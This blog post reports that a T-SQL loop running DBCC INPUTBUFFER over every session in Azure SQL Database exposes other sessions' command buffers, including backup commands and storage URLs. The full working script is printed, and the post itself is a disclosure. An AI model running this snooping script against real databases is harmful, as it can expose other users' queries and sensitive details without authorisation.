As part of a revamp of AKAWN Monitoring to include Azure SQL Database and Linux support the usual look at available monitoring options is being under taken.
Azure SQL Database is one of the trickier to monitor as it is pretty locked down and xml parsing for session events info can be hellish (one of the reasons the current AKAWN Monitoring is moving away from use of xml storage).
As locked down as it is, there are still ways to look into the inner workings. Just one example of the security things I’ve discovered is:
SET NOCOUNT ON;
IF OBJECT_ID('tempdb..#temp') IS NOT NULL
BEGIN
DROP TABLE #temp;
END
CREATE TABLE #temp (EventType nvarchar(30), [Parameters] smallint, EventInfo nvarchar(4000));
WHILE (1=1)
BEGIN
DECLARE @sqlcmd nvarchar(MAX);
DECLARE @session_id varchar(3);
DECLARE item_cursor CURSOR LOCAL FAST_FORWARD FOR
SELECT session_id from [sys].[dm_exec_sessions];
OPEN item_cursor
FETCH NEXT FROM item_cursor INTO @session_id
WHILE @@FETCH_STATUS = 0
BEGIN
SET @sqlcmd = 'INSERT INTO #temp (EventType,[Parameters],EventInfo)
EXEC (''DBCC INPUTBUFFER (' + @session_id + ') WITH NO_INFOMSGS'')' ;
EXEC (@sqlcmd )
FETCH NEXT FROM item_cursor INTO @session_id
END
CLOSE item_cursor;
DEALLOCATE item_cursor;
SELECT DISTINCT * FROM #temp WHERE EventInfo IS NOT NULL;
WAITFOR DELAY '00:00:05';
END
IF OBJECT_ID('tempdb..#temp') IS NOT NULL
BEGIN
DROP TABLE #temp;
END
The above method will show buffer activity for all sessions, which is a big no no and something Microsoft will likely need to look into locking down.
What does it show? Well basically everything i.e. it shows the checks performed, shows when and where backups are going along with the syntax used:
(@DbName nvarchar(36),@BackupStats int,@BufferCount int,@TransferSize int)BACKUP LOG @DbName TO URL = N'https://xxxx.blob.core.windows.net/server-akawnxxxx/backup/xxxx/Log/2017-11-26T12-02-06/2017-11-30T23-13-25_2017-11-26T12-02-06.log' WITH COMPRESSION, INIT, FORMAT, CHECKSUM, STATS = @BackupStats, BUFFERCOUNT = @BufferCount, MAXTRANSFERSIZE = @TransferSize
If you collected info for long periods, who knows what could be revealed.
The above was collected from a standard azure database and not master, although you could just as well use it.
I haven’t seen anyone else mention this, so you’re reading about this first here.